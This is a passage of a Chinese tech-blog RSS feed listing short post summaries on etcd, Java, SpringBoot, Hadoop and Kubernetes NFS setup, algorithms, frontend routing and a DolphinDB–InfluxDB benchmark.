      <description>etcd版本3.2，开放端口2379 package main import ( &#34;context&#34; &#34;fmt&#34; &#34;go.etcd.io/etcd/clientv3&#34; &#34;time&#34; ) func main() { const ( key1 = &#34;/etc/etcd/etcd.conf&#34; val2 = &#34;etcd.conf&#34; keepTime = 100*time.Second //续租时长 ) var ( config clientv3.Config client *clientv3.Client Newlease clientv3.Lease leaseResp *clientv3.LeaseGrantResponse kv clientv3.KV err error putResp *clientv3.PutResponse getResp *clientv3.GetResponse keepaliveResp *clientv3.LeaseKeepAliveResponse keepRespChan &amp;lt;-chan *clientv3.LeaseKeepAliveResponse ) config = clientv3.Config{ Endpoints: []string{&#34;192.168.1.102:2379&#34;}, DialTimeout: 10 * time.Second, } if client, err = clientv3.New(config); err != nil { fmt.</description>
    </item>
    <item>
      <title>JAVA回调函数简单讲解   CallBack</title>
      <link>https://bchobby.github.io/posts/6c759b125bf788dc9ae329129fcf7480/</link>
      <pubDate>Tue, 12 Feb 2019 15:08:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c759b125bf788dc9ae329129fcf7480/</guid>
      <description>回调，其实就是有个回应的那种感觉。&#xA;那么，接下来，我们就用消息推送的场景，简简单单地讲解下回调函数的使用。&#xA;直接看代码，&#xA;先创建一个回调接口，&#xA;MessageCallBack&#xA;/** * @Author : JCccc * @CreateTime : 2019-2-12 * @Description :回调函数需要执行的内容 * @Point: Keep a good mood **/ public interface MessageCallBack { //成功 public void onSccuess(String message, String account); //失败 public void onFailure(String message, String account); //重连等等 } 接下来，是模拟消息发送的客户端，&#xA;MessageClient&#xA;/** * @Author : JCccc * @CreateTime : 2019-2-12 * @Description : * @Point: Keep a good mood **/ public class MessageClient implements MessageCallBack { private String message; private String account; //重写回调接口的方法 @Override public void onSccuess(String message, String account) { System.</description>
    </item>
    <item>
      <title>CSDN取消手机绑定</title>
      <link>https://bchobby.github.io/posts/083ae03c48a15b1d8d0a17c3f37b35c2/</link>
      <pubDate>Mon, 11 Feb 2019 18:52:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/083ae03c48a15b1d8d0a17c3f37b35c2/</guid>
      <description> 今天登陆发现被强制要求绑定手机号了，但是我的手机号绑定了另一个csdn&#xA;所以联系了qq客服，排队之后就会很耐心的帮你处理了&#xA;客服二维码 </description>
    </item>
    <item>
      <title>SpringBoot 改Banner</title>
      <link>https://bchobby.github.io/posts/37aac51bba96ca893b413b6b8c59f004/</link>
      <pubDate>Mon, 11 Feb 2019 16:41:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37aac51bba96ca893b413b6b8c59f004/</guid>
      <description>Banner是springBoot启动中显示的横幅。有一个Banner类可以控制，全局配置也可以配置是否显示。&#xA;以前大概也猜到这个鬼东西能修改，但是没想到修改起来如此简单。&#xA;如果不修改Banner类，那么启动springBoot的时候显示出来是下面的情况。&#xA;修改Banner的显示样式十分简单，只需要在resources路径下新建一个banner.txt文件，txt里的内容就会显示到Console(控制台)上。&#xA;如下图所示。&#xA;参考SpringBoot精髓7.1.3节。作者李家智。&#xA;顺带吐槽一句，想不到大佬也这么有童(wu)心(liao)。</description>
    </item>
    <item>
      <title>gitlab 社区版或企业版 的区别</title>
      <link>https://bchobby.github.io/posts/e95c32e3759be14b949186997bcddc3e/</link>
      <pubDate>Mon, 11 Feb 2019 16:23:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e95c32e3759be14b949186997bcddc3e/</guid>
      <description>来自：https://about.gitlab.com/install/ce-or-ee/&#xA;介绍&#xA;如果您对使用GitLab感兴趣，我们建议您下载并安装GitLab企业版，即使您不确定是否会订阅GitLab企业版的许可。您仍然可以使用GitLab Community Edition的所有特性，而不需要许可证或注册。&#xA;许可模型&#xA;GitLab是建立在开放核心模型之上的。这意味着GitLab有两个版本:社区版和企业版。&#xA;GitLab Community Edition是开放源码的，拥有MIT的外籍许可证。GitLab Enterprise Edition构建在Community Edition之上:它使用相同的核心，但在此基础上添加了其他特性和功能。这是在专有许可下进行的。&#xA;对于这两个版本:GitLab中的所有javascript代码都是开源的。所有由GitLab编写的javascript代码都在同一个MIT许可下。&#xA;为什么使用企业版&#xA;为了能够使用GitLab Enterprise Edition特性，您需要一个订阅，它将为您提供许可证。如果您使用的是未经许可的Enterprise Edition，那么您只使用经过MIT许可的函数。&#xA;这意味着，如果您在没有许可证的情况下安装了GitLab Enterprise Edition，您将不会注意到与典型的Community Edition实例的区别，但是您有额外的优势:&#xA;如果您想在任何时候试用Enterprise Edition特性，您可以在不需要设置新实例或升级现有实例的情况下这样做。您只需在GitLab中启动试验。如果您对Enterprise Edition特性不满意，您的实例将在试用期满后自动恢复到Community Edition特性。&#xA;要从Community Edition升级到Enterprise Edition，您必须确保使用的是相同的版本，并遵循特定的步骤，这些步骤通常需要停机。使用Enterprise Edition，只需单击一次即可在Community Edition特性和完整的Enterprise Edition特性套件之间进行更改。&#xA;安装GitLab企业版。&#xA;为什么使用社区版&#xA;如果您只想下载开源软件，社区版是最好的选择。此发行版不包含专有代码。从功能上讲，它的行为与没有许可证的Enterprise Edition相同。&#xA;请注意，如果您决定在将来迁移到Enterprise Edition，则需要进行升级，并且可能需要停机。&#xA;安装GitLab社区版。</description>
    </item>
    <item>
      <title>Skimage图像处理教程 0）目录</title>
      <link>https://bchobby.github.io/posts/9a474affb45ec12e27e733f4d8323440/</link>
      <pubDate>Mon, 11 Feb 2019 10:14:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a474affb45ec12e27e733f4d8323440/</guid>
      <description>Skimage是python一个强大的图像处理的包，对于学习数字图像处理的小伙伴们来说是一个很实用的包，数据都是基于numpy格式所以熟悉numpy操作的小伙伴们会用的更方便，当然，不懂的话也没有影响。&#xA;下面就是每一讲的目录，持续更新中……&#xA;1）安装，读写和调用示例图片&#xA;2）色彩空间变换&#xA;3）曝光度调整&#xA;4）形态学膨胀腐蚀开闭运算&#xA;5）其他形态学运算&#xA;6）图形绘制&#xA;未完待续……</description>
    </item>
    <item>
      <title>人工智能导论笔记-第六章-遗传算法</title>
      <link>https://bchobby.github.io/posts/f7bee75bf013bfb6bf36416b2bb85d46/</link>
      <pubDate>Sat, 09 Feb 2019 20:39:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7bee75bf013bfb6bf36416b2bb85d46/</guid>
      <description>遗传算法： 基本思想：在求解问题时从多个解开始，然后通过一定的法则进行逐步迭代以产生新的解&#xA;遗传算法的基本要素：&#xA;编码&#xA;生成初始种群&#xA;适应度函数&#xA;个体选择概率&#xA;个体选择方法&#xA;交叉操作&#xA;变异&#xA;编码：&#xA;位串编码：&#xA;将问题空间的参数用一维数组表示&#xA;(1)二进制编码：用若干二进制数表示一个个体，将原问题的解空间映射到位串空间B={0,1}上，然后在位串空间上进行遗传操作&#xA;优点：类似生物染色体的组成，算法易于用生物遗传理论解释，遗传操作如交叉、变异等易实现；算法处理的模式数最多&#xA;缺点：相邻整数的二进制编码可能具有较大的Hamming距离，降低了遗传算子的搜索效率；要先给出求解精度&#xA;(2)Gray编码：将二进制编码通过一个变换进行转换得到的编码&#xA;实数编码：&#xA;采用实数表达不必进行数制转换，可直接在解的表现型上进行遗传操作&#xA;多参数映射编码的基本思想：把每个参数先进行二进制编码得到子串，再把这些子串连成一个完整的染色体&#xA;多参数映射编码中的每个子串对应各自的编码参数，所以，可以有不同的串长度和参数的取值范围&#xA;适应度函数的尺度变换：&#xA;欺骗问题：在遗传算法中，将所有妨碍适应度值高的个体产生，从而影响遗传算法正常工作的问题统称欺骗问题&#xA;过早收敛：缩小这些个体的适应度，以减低这些超级个体的竞争力&#xA;停滞现象：改变原始适应值的比例关系，以提高个体之间的竞争力&#xA;适应度函数的尺度变换或者定标：对适应度函数值域的某种映射变换&#xA;(1)线性变换：&#xA;f&#39;=af+b；满足f&#39;avg=favg，f&#39;max=Cmult*favg&#xA;(2)幂函数变换：&#xA;f&#39;=f^k&#xA;(3)指数变换：&#xA;f&#39;=e^-af&#xA;选择：&#xA;(1)适应度比例法：&#xA;各个个体被选择的概率和其适应度值成比例&#xA;个体i被选择的概率：&#xA;(2)排序方法：&#xA;线性排序：&#xA;非线性排序：&#xA;交叉：&#xA;一般的交叉方法：&#xA;(1)一点交叉：&#xA;在个体串中随机设定一个交叉点，实行交叉时，该点前或后的两个个体的部分结构进行交换，并生成两个新的个体&#xA;(2)两点交叉：&#xA;随机设置两交叉点，将两个交叉点之间的码串相互交换&#xA;修正的交叉方法：&#xA;(1)部分匹配交叉PMX：&#xA;A=9 8 4 | 5 6 7 | 1 3 2&#xA;B=8 7 1 | 2 3 9 | 5 4 6</description>
    </item>
    <item>
      <title>QQ好友列表的实现(QQ9.0版本样式) -- 使用QTreeView</title>
      <link>https://bchobby.github.io/posts/be78b5dd6464d2ce1b305c66bc78d517/</link>
      <pubDate>Sat, 09 Feb 2019 11:49:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be78b5dd6464d2ce1b305c66bc78d517/</guid>
      <description>文章结构 最终实现效果基本功能代码主要结构FriendTree类主要工作解析ItemDelegate类主要工作解析 工程源码路径/下载地址 最终实现效果 以上是实现的最终样式，自己电脑上安装的QQ9.0版本，就按这个版本来了。&#xA;基本功能 实现的一些基本功能总结：&#xA;分组展示好友列表 ，一个组下多个好友；Item上绘制头像、在线状态、个性签名、用户名+昵称(依据是否VIP设置成不同颜色)、视频通话图标；头像、在线状态、视频通话图标采用svg图标格式hover效果，鼠标移至Item不同位置，ToolTip显示不同的信息，如鼠标移动至头像时提示“鼠标移到头像上啦！”，鼠标移到视频通话按钮上显示&#34;视频通话&#34;等，默认显示用户名+昵称+QQ号。当鼠标移动到某个好友Item上时，对应Item显示视频通话图标。双击Item事件，打开聊天(仅演示捕获事件，进行弹窗提示事件处理结果)；点击视频通话图标，进行视频通话(仅演示捕获事件，进行弹窗提示事件处理结果) 代码主要结构 说明：公共UI库主要是一些通用的处理，比如DelegatePainter类，专门用来绘制文本、图片等，TreeView增加了一些自定义的事件信号，在此处不一一赘述，若有需要，可直接拿过去复用即可，也可以自己定义其他信号等。我们的好友列表TreeView是继承此类的。源码路径见文章最后。&#xA;FriendTree类主要工作解析 前提：使用上面提到的公共Ui库。&#xA;下面讲解下FriendTree主要做的事情，类头文件如下：&#xA;#pragma once #include &amp;lt;QTreeView&amp;gt; #include &#34;PublicGui/TreeView/TreeView.h&#34; #include &#34;GlobalDefines.h&#34; using namespace publicgui; namespace qqfriendlist { class ItemDelegate; class FriendTree : public TreeView { Q_OBJECT public: FriendTree(QWidget *parent = Q_NULLPTR); ~FriendTree(); // 赋值 传入分组/好友结构数据 void setValues(const std::vector&amp;lt;Group&amp;gt;&amp;amp; groups); private: void initUi(); void initConnection(); // 自定义的hover处理 void onHoverHandle(const QModelIndex&amp;amp; index, int role); // 自定义的点击事件处理 void onClickedHandle(const QModelIndex&amp;amp; index, int role); private: QStandardItemModel* m_model{ nullptr }; // model ItemDelegate* m_delegate{ nullptr }; }; } 以下四个成员函数</description>
    </item>
    <item>
      <title>hack-checkbox</title>
      <link>https://bchobby.github.io/posts/8318ff6aaf75d5af6f1b96b7bb188006/</link>
      <pubDate>Sat, 02 Feb 2019 17:11:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8318ff6aaf75d5af6f1b96b7bb188006/</guid>
      <description>checkbox选择按钮要用我们自己的样式，看到这个的时候，很可能会以为需要checkbox才能实现，用css可能很难。其实狠简单。 &amp;lt;style&amp;gt; .checkbox input{ display: none; } .checkbox input + label { background: url(checkbox1.png) left center no-repeat; background-size: 20px 20px; padding-left: 20px; } .checkbox input:checked + label { background-image: url(checkbox2.png) } &amp;lt;/style&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;checkbox&#34;&amp;gt; &amp;lt;input type=&#34;checkbox&#34; id=&#34;handsome&#34;&amp;gt; &amp;lt;label for=&#34;handsome&#34;&amp;gt;我很帅&amp;lt;/label&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; 首先没有选中的时候，设置一个背景，再设置一个padding，这样就可以显示出来，然后将背景的大小设置成跟padding一样大。选中的话，我们给了一个input:checked这样一个状态。这个状态是css提供的。然后使用了一个+。＋号是后续的兄弟元素。也就是当checkbox选中的时候，label的样式就换个背景，这个选择器和+号就是点睛之笔。 同样的思路也可以用于radio. 转载于:https://www.cnblogs.com/wzndkj/p/10348783.html</description>
    </item>
    <item>
      <title>Hadoop 集群搭建</title>
      <link>https://bchobby.github.io/posts/cfd2f684165939da950da574c76a4171/</link>
      <pubDate>Sat, 02 Feb 2019 11:20:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfd2f684165939da950da574c76a4171/</guid>
      <description>目录&#xA;1、基础集群环境准备&#xA;1.1、修改主机名&#xA;1.2、设置系统默认启动级别&#xA;1.3、配置 hadoop 用户 sudoer 权限 1.4、配置 IP&#xA;1.5、关闭防火墙/关闭 Selinux&#xA;1.6、添加内网域名映射&#xA;​&#xA;1.7、安装 JDK&#xA;做完以上步骤后，可以开始克隆虚拟机。因为以上系统的配置，都是一些基础性的操作。 都是必须的。&#xA;1.8、同步服务器时间&#xA;1.9、配置免密登录&#xA;2、Hadoop 集群环境安装&#xA;hadoop 分布式集群安装&#xA;3、集群初步使用&#xA;3.1、Hadoop 集群启动&#xA;3.2、HDFS 初步使用&#xA;3.3、mapreduce 初步使用&#xA;1、基础集群环境准备 1.1、修改主机名 1、 在 root 账号下用命令：vi /etc/sysconfig/network 或者如果配置了 hadoop sudo 权限，则在 hadoop 登录情况下使用命令： sudo vi /etc/sysconfig/network&#xA;2、 修改好后，保存退出即可&#xA;1.2、设置系统默认启动级别 1、在 root 账号下输入 vi /etc/inittab&#xA;1.3、配置 hadoop 用户 sudoer 权限 1、 在 root 账号下，命令终端输入：vi /etc/sudoers&#xA;2、 找到 root ALL=(ALL) ALL 这一行，然后在他下面添加一行： hadoop ALL=(ALL) ALL 保存，退出 1.</description>
    </item>
    <item>
      <title>客户端注册eureka服务失败registration failed Cannot execute request on any known server</title>
      <link>https://bchobby.github.io/posts/7713801cbe5cfeb5f4736601917d9c85/</link>
      <pubDate>Fri, 01 Feb 2019 11:55:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7713801cbe5cfeb5f4736601917d9c85/</guid>
      <description>SpringBoot 2.0.3.RELEASE&#xA;SpringCloud Finchley.RELEASE&#xA;启动 eureka 客户端，报如下错误：&#xA;2019-02-01 11:36:56.933 INFO 388404 --- [ main] com.netflix.discovery.DiscoveryClient : Application version is -1: true 2019-02-01 11:36:56.933 INFO 388404 --- [ main] com.netflix.discovery.DiscoveryClient : Getting all instance registry info from the eureka server 2019-02-01 11:36:57.375 INFO 388404 --- [ main] com.netflix.discovery.DiscoveryClient : The response status is 200 2019-02-01 11:36:57.377 INFO 388404 --- [ main] com.netflix.discovery.DiscoveryClient : Starting heartbeat executor: renew interval is: 30 2019-02-01 11:36:57.</description>
    </item>
    <item>
      <title>した、でした、しました的用法</title>
      <link>https://bchobby.github.io/posts/02862414be10d049c5463cee38726625/</link>
      <pubDate>Thu, 31 Jan 2019 16:38:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02862414be10d049c5463cee38726625/</guid>
      <description>した是说过去做了，是变为了た形的做 でした 是です的た形 用于口语化时的句尾（但日本人口语时也有不那么用的），没意思 しました 也是口语化的た形变化 也没有特别的意思，跟在句尾，是します的变形&#xA;した　是　しました 的简体说法。 前面接サ変动词的词干（汉字部分） 如： 食事した　→　食事しました 简体和敬体的区别在于： 1. 简体多用在报章杂志的书面语以及关系密切的朋友之间的口语 2. 敬体一般用在普通日记体或者一般关系的口语（比如和不认识的路人，或者和师长父母同事等） 3.初学者首先要求掌握敬体，然后才是简体 而 でした　是です的过去式，前面是接名词、形容动词的 如： 学生でした きれいでした 簡単でした 补充： 其实，です　ます 的过去式分别是 でした　ました 这个不能称为“た形”的。 动词的活用中有连用形，而た形 和　て形 分别是动词连用形的两种形态。 但是です　ます 它们是助动词，助动词是不说连用形连体形这类的活用的，虽然他们也是按照规律变化，但是通常我们不讨论です ます这两个助动词的活用的。 因此，在称谓上，不能将之理解为です的“た形”或者ます的“た形”。</description>
    </item>
    <item>
      <title>前端路由跳转基本原理</title>
      <link>https://bchobby.github.io/posts/dd99a5df96b5e703efa25fc6236e240f/</link>
      <pubDate>Thu, 31 Jan 2019 06:24:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd99a5df96b5e703efa25fc6236e240f/</guid>
      <description>目前前端三杰 Angular、React、Vue 都推介单页面应用 SPA 开发模式，在路由切换时替换 DOM Tree 中最小修改的部分 DOM，来减少原先因为多页应用的页面跳转带来的巨量性能损耗。它们都有自己的典型路由解决方案，@angular/router、react-router、vue-router。&#xA;一般来说，这些路由插件总是提供两种不同方式的路由方式： Hash 和 History，有时也会提供非浏览器环境下的路由方式 Abstract，在 vue-router 中是使用了外观模式将几种不同的路由方式提供了一个一致的高层接口，让我们可以更解耦的在不同路由方式中切换。&#xA;值得一提的是，Hash 和 History 除了外观上的不同之外，还一个区别是：Hash 方式的状态保存需要另行传递，而 HTML5 History 原生提供了自定义状态传递的能力，我们可以直接利用其来传递信息。&#xA;下面我们具体看看这两种方式都有哪些特点，并提供简单的实现，比如基本的功能，更复杂的功能比如懒加载、动态路径匹配、嵌套路由、路由别名等等，可以关注一下后面的 vue-router 源码解读方面的博客。&#xA;1. Hash 1.1 相关 Api Hash 方法是在路由中带有一个 #，主要原理是通过监听 # 后的 URL 路径标识符的更改而触发的浏览器 hashchange 事件，然后通过获取 location.hash 得到当前的路径标识符，再进行一些路由跳转的操作，参见 MDN&#xA;location.href：返回完整的 URL location.hash：返回 URL 的锚部分 location.pathname：返回 URL 路径名 hashchange 事件：当 location.hash 发生改变时，将触发这个事件 比如访问一个路径 http://sherlocked93.club/base/#/page1，那么上面几个值分别为：&#xA;# http://sherlocked93.club/base/#/page1 { &#34;href&#34;: &#34;http://sherlocked93.club/base/#/page1&#34;, &#34;pathname&#34;: &#34;/base/&#34;, &#34;hash&#34;: &#34;#/page1&#34; } 注意： Hash 方法是利用了相当于页面锚点的功能，所以与原来的通过锚点定位来进行页面滚动定位的方式冲突，导致定位到错误的路由路径，因此需要采用别的办法，之前在写 progress-catalog 这个插件碰到了这个情况。</description>
    </item>
    <item>
      <title>C语言实验——打印菱形</title>
      <link>https://bchobby.github.io/posts/bbcddaafd10f649d806868c05936aba7/</link>
      <pubDate>Wed, 30 Jan 2019 14:58:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbcddaafd10f649d806868c05936aba7/</guid>
      <description> 1174&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int n,i,c,t; scanf(&#34;%d&#34;,&amp;amp;n); for(i=1;i&amp;lt;=n;i++) { for(t=i;t&amp;lt;n;t++) { printf(&#34; &#34;); } for(c=1;c&amp;lt;=i;c++) { printf(&#34;*&#34;); } for(c=i-1;c&amp;gt;0;c--) { printf(&#34;*&#34;); } printf(&#34;\n&#34;); } for(i=n-1;i&amp;gt;0;i--) { for(t=i;t&amp;lt;n;t++) { printf(&#34; &#34;); } for(c=1;c&amp;lt;=i;c++) { printf(&#34;*&#34;); } for(c=i-1;c&amp;gt;0;c--) { printf(&#34;*&#34;); } printf(&#34;\n&#34;); } return 0; } </description>
    </item>
    <item>
      <title>后台代码生成工具-模板生成</title>
      <link>https://bchobby.github.io/posts/4f6a09ecc7caf7ac97285f95569d1b8a/</link>
      <pubDate>Wed, 30 Jan 2019 11:21:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f6a09ecc7caf7ac97285f95569d1b8a/</guid>
      <description>访问：http://autocode.jd.com:8080/ 点击下载，即可下载模板文件；</description>
    </item>
    <item>
      <title>kubernetes部署nfs-subdir-external-provisioner</title>
      <link>https://bchobby.github.io/posts/8615f412cbd45e6749ae13c56934b67f/</link>
      <pubDate>Tue, 29 Jan 2019 22:25:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8615f412cbd45e6749ae13c56934b67f/</guid>
      <description>nfs-subdir-external-provisioner简介 nfs-subdir-external-provisioner可动态为kubernetes提供pv卷，是Kubernetes的简易NFS的外部provisioner，本身不提供NFS，需要现有的NFS服务器提供存储。持久卷目录的命名规则为: ${namespace}-${pvcName}-${pvName}。&#xA;项目地址：https://github.com/kubernetes-sigs/nfs-subdir-external-provisioner&#xA;搭建NFS服务器 集群外准备一个节点10.0.0.5作为NFS server服务器，这里作为测试，使用docker部署NFS服务器：&#xA;docker run -d --name nfs-server \ --privileged \ --restart always \ -p 2049:2049 \ -v /nfs-share:/nfs-share \ -e SHARED_DIRECTORY=/nfs-share \ itsthenetwork/nfs-server-alpine:latest 或者手动方式部署nfs服务器：&#xA;yum -y install nfs-utils mkdir -p /nfs-share chmod -R 777 /nfs-share cat &amp;gt;&amp;gt; /etc/exports &amp;lt;&amp;lt; EOF /nfs-share *(rw,no_root_squash,sync) EOF exportfs -arv exportfs -s systemctl enable --now rpcbind systemctl enable --now nfs-server kubernetes集群所有节点需要安装nfs客户端&#xA;yum install -y nfs-utils 作为准备工作，我们已经搭建了一个 NFS 服务器，共享目录为 /nfs-share。下面部署nfs-subdir-external-provisioner。</description>
    </item>
    <item>
      <title>26、jdbc操作数据库（3）</title>
      <link>https://bchobby.github.io/posts/99c3cc85db63f8fe4ec0bdfa82579b8a/</link>
      <pubDate>Tue, 29 Jan 2019 18:05:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99c3cc85db63f8fe4ec0bdfa82579b8a/</guid>
      <description>1、结果集的元数据操作&#xA;ResultSetMetaData 是描述ResultSet的元数据对象，可以通过元数据对象获取结果集的列信息，使用方式如下：&#xA;public void query() { Connection connection = DBUtil.getConnection(); String sql = &#34;SELECT ID,UNAME u,PASSWORD FROM USER&#34;; PreparedStatement prepareStatement = null; ResultSet resultSet = null; try { prepareStatement = connection.prepareStatement(sql); //获取到结果集CallableStatement resultSet = prepareStatement.executeQuery(); // 通过 结果集的getMetaData() 获取到元数据对象 ResultSetMetaData metaData = resultSet.getMetaData(); System.out.println(&#34;获取数据列数&#34;+metaData.getColumnCount()); System.out.println(&#34;第二列的字段名是：&#34;+metaData.getColumnName(2)); System.out.println(&#34;第二列的字段别名是：&#34;+metaData.getColumnLabel(2)); } catch (SQLException e) { e.printStackTrace(); } finally { DBUtil.close(resultSet, prepareStatement, connection); } } 2、使用jdbc进行批量处理&#xA;当一次处理多条记录时，可使用jdbc进行批量操作，其基本思路是现将要执行的sql进行积攒，然后一次性发送到数据库进行执行，示例代码如下：&#xA;//获取连接 Connection connection = DBUtil.getConnection(); String sql = &#34;</description>
    </item>
    <item>
      <title>二叉树的递归的算法</title>
      <link>https://bchobby.github.io/posts/bebb5dd71ec8a81e28bd187199140d43/</link>
      <pubDate>Tue, 29 Jan 2019 13:15:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bebb5dd71ec8a81e28bd187199140d43/</guid>
      <description>二叉树的递归算法 #define max 30 #define NULL 0 #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; typedef struct BNode&#x9;{ char data;&#x9;/*数据域 */ struct BNode *lchild,*rchild;;&#x9;//指向左右子女 }BinTree; void preorder(BinTree *t); //声明先根遍历函数 void inorder(BinTree *t); //声明中根遍历函数 void postorder(BinTree *t);//声明后根遍历函数 int leafs(BinTree *b); //声明求叶子数函数 int treedeep(BinTree *p); //声明求树的深度函数 BinTree *swap(BinTree *p); //声明交换二叉树的所有结点的左右子树的函数 //将字符串中的第i个字符开始的m个字符作为数据生成对应的二叉树 BinTree *cre_tree(char *str,int i,int m) { BinTree *p; if(i&amp;gt;=m) //无效结点 return NULL; p=(BinTree *)malloc(sizeof(BinTree));//生成新结点 p-&amp;gt;data=str[i]; p-&amp;gt;lchild=cre_tree(str,2*i+1,m);//创建新结点的左子树 p-&amp;gt;rchild=cre_tree(str,2*i+2,m);//创建新结点的右子树 return p; } void main() { int i,n; char str[max]; BinTree *root;//根结点 printf(&#34;</description>
    </item>
    <item>
      <title>MIME (Multipurpose Internet Mail Extensions)</title>
      <link>https://bchobby.github.io/posts/54323a0ada0723a092ed2a0828dd7b98/</link>
      <pubDate>Tue, 29 Jan 2019 09:49:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54323a0ada0723a092ed2a0828dd7b98/</guid>
      <description>MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。&#xA;一个消息重要的有三个地方，路径，提交方式(POST或者GET），消息类型(即MIME），说明传递的是什么类型的数据。&#xA;所有的文件类型都有对应的MIME，&#xA;如一张图片，后缀是.jpg，有对应的MIME类型，一本书，后缀为pdf，也有对应的文件类型。&#xA;http://www.w3school.com.cn/media/media_mimeref.asp&#xA;这个手册有点out了，连application/json这么关键的类型都没列出来。</description>
    </item>
    <item>
      <title>DolphinDB与InfluxDB对比测试报告</title>
      <link>https://bchobby.github.io/posts/df0f992465600c6bcd0f620554d06a57/</link>
      <pubDate>Mon, 28 Jan 2019 11:13:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df0f992465600c6bcd0f620554d06a57/</guid>
      <description>DolphinDB是一款分析型的分布式时序数据库，内置处理流式数据处理引擎，具有内置的并行和分布式计算的功能，并提供分布式文件系统，支持集群扩展。DolphinDB以C++编写，响应速度极快。提供类似于Python的脚本语言对数据进行操作，支持类标准SQL的语法。提供其它常用编程语言的API，方便与已有应用程序集成。在金融领域中的历史数据分析建模与实时流数据处理，以及物联网领域中的海量传感器数据处理与实时分析等场景中表现出色。&#xA;InfluxDB是一款开源的时序数据库，由Go语言实现。它的核心是一款定制的存储引擎TSM Tree，对时间序列数据做了优化，优先考虑插入和查询数据的性能。InfluxDB使用类SQL的查询语言InfluxQL，并提供开箱即用的时间序列数学和统计函数。适用于监控、实时分析、物联网、传感器数据等应用场景。是目前最为流行的时间序列数据库。&#xA;本文将会对DolphinDB和InfluxDB进行性能测试对比。&#xA;在本次测试中，硬件配置如下：&#xA;设备：DellXPS 8920(07DC)&#xA;CPU：Inter® Core™ i7-7700 CPU @ 3.60GHz，4核心8线程&#xA;内存：16GB&#xA;硬盘：512GB SSD&#xA;操作系统：Ubuntu 16.04 x64&#xA;由于InfluxDB集群版本闭源，所以本次测试使用的DolphinDB和InfluxDB均为单机版本，并且所有配置项都是默认配置。&#xA;1. 数据生成 在本次测试中，我们使用NYSE网站上2016年10月24日纽约交易所的股票交易数据生成了Quotes_Big表。在其中取出一部分数据构成Quotes_Small表。表结构如表1所示。Quotes_Big表中的数据量为78,721,394条，Quotes_Small表中数据量为18,314,172条。数据下载链接及预处理脚本详见附录1。&#xA;由于DolphinDB和InfluxDB在存储方式上的差异，我们采用如下设计：我们将Time列指定为InfluxDB中的timestamp；将Exchange和Symbol列指定为InfluxDB中的Tag列（类似于带索引的列）；将Bid_Price、Bid_Size、Offer_Price、Offer_Size指定为InfluxDB中的field列（类似于无索引的列）。在DolphinD系统中根据Symbol列在磁盘上进行RANGE分区，分为8个区。&#xA;表1.数据类型映射&#xA;2. 数据库查询性能测试 我们对11种常用的SQL查询进行了对比测试。Quotes_Small表的测试结果如下表2所示，Quotes_Big表的测试结果如下表3所示。其中，对于DolphinDB的测试，我们使用的是DolphinDB官方的GUI；对于InfluxDB，我们使用的是官方的PythonAPI。执行时间以毫秒为单位，只包含查询本身执行的时间，而不包含结果显示的时间。为了减少特殊值的影响，每个查询都执行10次，表中数据是10次查询的总时间。本次测试的脚本详见附录2。&#xA;在几乎所有测试中，DolphinDB的性能都领先InfluxDB多倍，某些情况下的差距甚至超过2个数量级（100倍）。InfluxDB唯一领先DolphinDB的测试是在Quotes_Small表的第4个测试项目，这是由于在数据量较小时DolphinDB并行搜索分区的优势不明显。然而，在数据量较大的情况下，DolphinDB在所有测试中上的性能都优于InfluxDB。DolphinDB可以并行搜索分区的设计使它在过滤性查询方面的性能全面超过了InfluxDB。&#xA;表2. Quotes_Small表查询性能测试结果（数据量：18,314,172）&#xA;表3. Quotes_Big表查询性能测试结果（数据量：78,721,394）&#xA;3. 内置函数计算性能测试 我们测试了8个DolphinDB和InfluxDB都提供的常用内置函数。在所有测试中，DolphinDB的性能都优于InfluxDB 1-2个数量级（10-100倍）。由于DolphinDB对带有滑动窗口的函数极好的优化，在“滑动平均值”（moving_average）的测试中，DolphinDB的性能领先InfluxDB 3个数量级以上（&amp;gt;1000倍）。&#xA;InfluxDB在Quotes_Big表的标准差与滑动平均值计算中在长时间的卡顿后引发内存不足的问题（out of memory），说明InfluxDB对大规模数据的复杂分析场景支持不足。而DolphinDB在此方面性能优异。&#xA;Quotes_Small表的测试结果如下表4所示，Quotes_Big表的测试结果如下表5所示。表格中数据的单位为毫秒。为减少特殊值的影响，每个计算都进行了10次。测试脚本详见附录3。&#xA;表4. Quotes_Small表计算性能测试结果（数据量：18,314,172）&#xA;表5. Quotes_Big表计算性能测试结果&#xA;4. I/O性能测试 我们分别使用了DolphinDB和InfluxDB的JavaAPI，比较了在相同的环境下写入相同规模的数据所需要的时间。由于InfluxDB的默认batch-size为5000，因此在两个数据库的写入程序中，单次插入的数据量都为5000条。我们还比较了从数据库中导出同样规模的csv文件所需要的时间。比较的结果是，无论是写入性能还是导出性能，DolphinDB都优于InfluxDB。对于相同规模的18,314,172条数据，DolphinDB的导出速度为InfluxDB的2倍；写入速度约为12倍。&#xA;测试结果如下表6所示。表格中的数据单位为毫秒。测试代码详见附录4。&#xA;表6. I/O性能测试结果&#xA;5. 磁盘占用空间测试 